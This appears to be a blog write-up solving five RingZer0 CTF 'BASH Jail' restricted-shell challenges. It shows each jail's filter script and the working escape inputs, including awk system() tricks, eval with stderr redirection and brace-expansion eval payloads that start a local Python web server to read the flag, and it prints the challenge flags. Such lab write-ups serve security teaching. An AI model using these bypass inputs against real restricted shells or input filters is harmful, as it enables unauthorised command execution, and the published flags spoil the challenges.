Here are my solutions for the ringzer0 Jail Escaping shell challenges.

Level1

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
evel1@ringzer0team.com's password: 

RingZer0 Team Online CTF

BASH Jail Level 1:
Current user is uid=1000(level1) gid=1000(level1) groups=1000(level1)

Flag is located at /home/level1/flag.txt

Challenge bash code:
-----------------------------

while :
do
        echo "Your input:"
        read input
        output=`$input`
done 

-----------------------------

You can spawn a shell using:

1
/bin/bash

Although you can’t read (you could redirect stdout to stderr) files, you can try to run commands based on the file content:

1
2
level1@lxc17-bash-jail:~$ awk '{system("wc "$1)}' /home/level1/flag.txt 
wc: FLAG-U96l4k6m72a051GgE5EN0rA85499172K: No such file or directory

Level 2

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
level2@ringzer0team.com's password: 

RingZer0 Team Online CTF

BASH Jail Level 2:
Current user is uid=1001(level2) gid=1001(level2) groups=1001(level2)

Flag is located at /home/level2/flag.txt

Challenge bash code:
-----------------------------

function check_space {
        if [[ $1 == *[bdks';''&'' ']* ]]
        then 
                return 0
        fi

        return 1
}

while :
do
        echo "Your input:"
        read input
        if check_space "$input" 
        then
                echo -e '\033[0;31mRestricted characters has been used\033[0m'
        else
                output="echo Your command is: $input"
                eval $output
        fi
done 

-----------------------------
Your input:

Since you are not allowed to use certain characters like “;”, “&”, “]”, “b”, “d” and so on, you must think of some way to read content of /home/level2/flag.txt. In my case the following worked:

1
2
3
`</home/level2/flag.txt`
Your command is: FLAG-a78i8TFD60z3825292rJ9JK12gIyVI5P
Your input:

Level 3

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
level3@ringzer0team.com's password: 

RingZer0 Team Online CTF

BASH Jail Level 3:
Current user is uid=1002(level3) gid=1002(level3) groups=1002(level3)

Flag is located at /home/level3/flag.txt

Challenge bash code:
-----------------------------

WARNING: this prompt is launched using ./prompt.sh 2>/dev/null

# CHALLENGE

function check_space {
        if [[ $1 == *[bdksc]* ]]
        then 
                return 0
        fi

        return 1
}

while :
do
        echo "Your input:"
        read input
        if check_space "$input" 
        then
                echo -e '\033[0;31mRestricted characters has been used\033[0m'
        else
                output=`$input` &>/dev/null
                echo "Command executed"
        fi
done 

-----------------------------
Your input:

The problem here is that stderr is being redirected to /dev/null:

1
WARNING: this prompt is launched using ./prompt.sh 2>/dev/null

The 2nd problem is that stdout and stderr are also redirected to /dev/null:

1
output=`$input` &>/dev/null

But fortunately we are allowed to use eval (which doesn’t match against the regexp in check_space). If I’d execute:

1
eval $(</home/level3/flag.txt)

this would cause an error since the shell cannot execute the command associated with the content in the flag file. But since stderr is redirected I had to redirect again to sth else, like stdin (0):

1
2
3
4
Your input:
eval $(</home/level3/flag.txt) 2>&0
./real.sh: line 39: FLAG-s9wXyc9WKx1X6N9G68fCR0M78sx09D3j: command not found
Command executed

Level 4

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
level4@ringzer0team.com's password: 

RingZer0 Team Online CTF

BASH Jail Level 4:
Current user is uid=1003(level4) gid=1003(level4) groups=1003(level4)

Flag is located at /home/level4/flag.txt

Challenge bash code:
-----------------------------

WARNING: this prompt is launched using ./prompt.sh 2>/dev/null

# CHALLENGE

function check_space {
        if [[ $1 == *[bdksc'/''<''>''&''$']* ]]
        then 
                return 0
        fi

        return 1
}

while :
do
        echo "Your input:"
        read input
        if check_space "$input" 
        then
                echo -e '\033[0;31mRestricted characters has been used\033[0m'
        else
                output=`$input < /dev/null` &>/dev/null
                echo "Command executed"
        fi
done 

-----------------------------
Your input:

Since a lot of characters are not allowed, stdout/stderr redirection is not working anymore. And regarding < /dev/null: This is mostly used to detach a process from a tty. That means we are allowed to launch some daemons. After some try & failure I thought of starting some web server and then “downloading” the flag file using a GET request. At that point I had 2 problems:

Starting a web server was easy:

1
2
Your input:
python -m SimpleHTTPServer

Now I had to download the file using http://127.0.0.1:8000. Then I’ve realized that for level1 I had a bash I could use to download the file:

1
2
3
4
5
6
7
8
level1@lxc17-bash-jail:~$ netstat -tan 1>&0
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State      
tcp        0      0 0.0.0.0:8000            0.0.0.0:*               LISTEN     
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN     
tcp        0    316 10.0.3.26:22            195.178.101.66:35930    ESTABLISHED
tcp        0      0 10.0.3.26:22            195.178.101.66:13279    ESTABLISHED
tcp6       0      0 :::22                   :::*                    LISTEN     

As you can see the web server is running on port 8000. Since wget, curl or other HTTP clients were not available, I had to run python again in order to get the file:

1
2
3
4
5
6
7
8
level1@lxc17-bash-jail:~$ python3 1>&0
Python 3.4.3 (default, Oct 14 2015, 20:28:29) 
[GCC 4.8.4] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import urllib.request
>>> urllib.request.urlopen("http://127.0.0.1:8000/flag.txt").read()
b'FLAG-OTQKB0274fwtxk3v2rTLCd0l5v7KNp7F\n'
>>> quConnection to ringzer0team.com closed.

Level 5

The last one was indeed very difficult. But before going into details, let’s have a look at the prompt:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
RingZer0 Team Online CTF

BASH Jail Level 5:
Current user is uid=1004(level5) gid=1004(level5) groups=1004(level5)

Flag is located at /home/level5/flag.txt

Challenge bash code:
-----------------------------

WARNING: this prompt is launched using ./prompt.sh 2>/dev/null

# CHALLENGE

function check_space {
        if [[ $1 == *[bdksctr'?''*''/''<''>''&''$']* ]]
        then 
                return 0
        fi

        return 1
}

while :
do
        echo "Your input:"
        read input
        if check_space "$input" 
        then
                echo -e '\033[0;31mRestricted characters has been used\033[0m'
        else
                output=`$input < /dev/null` &>/dev/null
                echo "Command executed"
        fi
done 

-----------------------------
Your input:

So obvisouly a lot of characters are not allowed to be used. This makes the challenge very hard since also redirects (>,<,&) are not possible anymore. So even one has succeeded in reading the file, the OUTPUT has to be redirected to some other device. But the slash (/) is also not allowed, making it hard to specify the output (e.g. /dev/shm/buffer).

Having that in mind I’ve tried several things:

Vim

The idea was to start vim, read the flag.txt and write the buffer to sth like /dev/shm/buffervim. But vim has some problems starting when STDIN=/dev/null. At the beginning I saw vim starting but then it disapeared suddenly. It took me a file to find out that starting vim with STDIN != some tty would be tricky.

Create another file

Since I was able to read the file easily:

1
$ uniq flag.[a-z][a-z][a-z]

… I thought I could create a new file inside /home/level5/ by using uniq:

1
$ uniq flag.[a-z][a-z][a-z] new_file

That didn’t work and it took some some while to understand why. Using lsattr I’ve checked the attributes on /home/level5:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
level1@lxc17-bash-jail:/home/level5$ lsattr -a>&0
----i--------e-- ./.
----i--------e-- ./..
----i--------e-- ./real.sh
lsattr: Permission denied While reading flags on ./flag.txt
----i--------e-- ./prompt.sh
----i--------e-- ./.bash_logout
----i--------e-- ./.bashrc
----i--------e-- ./.profile
level1@lxc17-bash-jail:/home/level5$ 

As you can see /home/level5 is set to immutable (i) which means that I can’t modify files in that directory or create new ones.

Use bash magic voodoo

Desperately searching for some solution, I’ve asked maxenced (who was the last one having solved this level) for some additional hint. BTW: I’ve “bought” the hint for this hint very early, but it didn’t help a lot. Anyway… He told me I should use bash brace expansions. Okay, so let’s have a look and see what we can do using them:

1
2
3
4
5
6
7
8
$ echo {a..z}
a b c d e f g h i j k l m n o p q r s t u v w x y z

$ echo {1..10..2}
1 3 5 7 9

$ echo {o..u}ython
oython python qython rython sython tython uython

So obvisouly we can bypass the restricted characters by simpling iterating through a range of characters. Now the next step was to find a way how to expand shell commands (and this was the most imporant part - thx again maxenced). I’ve tried sth like:

1
2
$ eval {o..u}ython
bash: oython: command not found

eval was not expanding the commands. Then I’ve tried sth different:

1
2
$ `echo echo {o..u}ython\\;`
oython; python; qython; rython; sython; tython; uython;

Now let me explain the changes:

If I change the echo to eval, then eval will basically run:

1
oython; python; qython; rython; sython; tython; uython;

Afterwards I’ve found out that python refused to start if STDIN = /dev/null (the same as with vim). Then I remembered the solution in a previous level where I’ve start a HTTP server (using python) to “download” the flag.txt. So all I wanted to run was:

1
$ python -m SimpleHTTPServer

As you may have noticed “SimpleHTTPServer” contains restricted characters like r. So we’ll have to use brace expansion again:

1
2
$ `echo echo {u..o}ython\ -m\ SimpleHTTPSe{u..o}ve{o..u}\\;`
...

The next step was to properly escape the backslashes to make sure that eval is executing the right thing. So the final payload was:

1
$ eval eval py{o..u}hon\\ -m\\ SimpleHTTPSe{q..v}ve{q..v}\\; 

I would also want to thank David, Ralph and Tobias for their awesome ideas and the great hacking session we had on Friday :)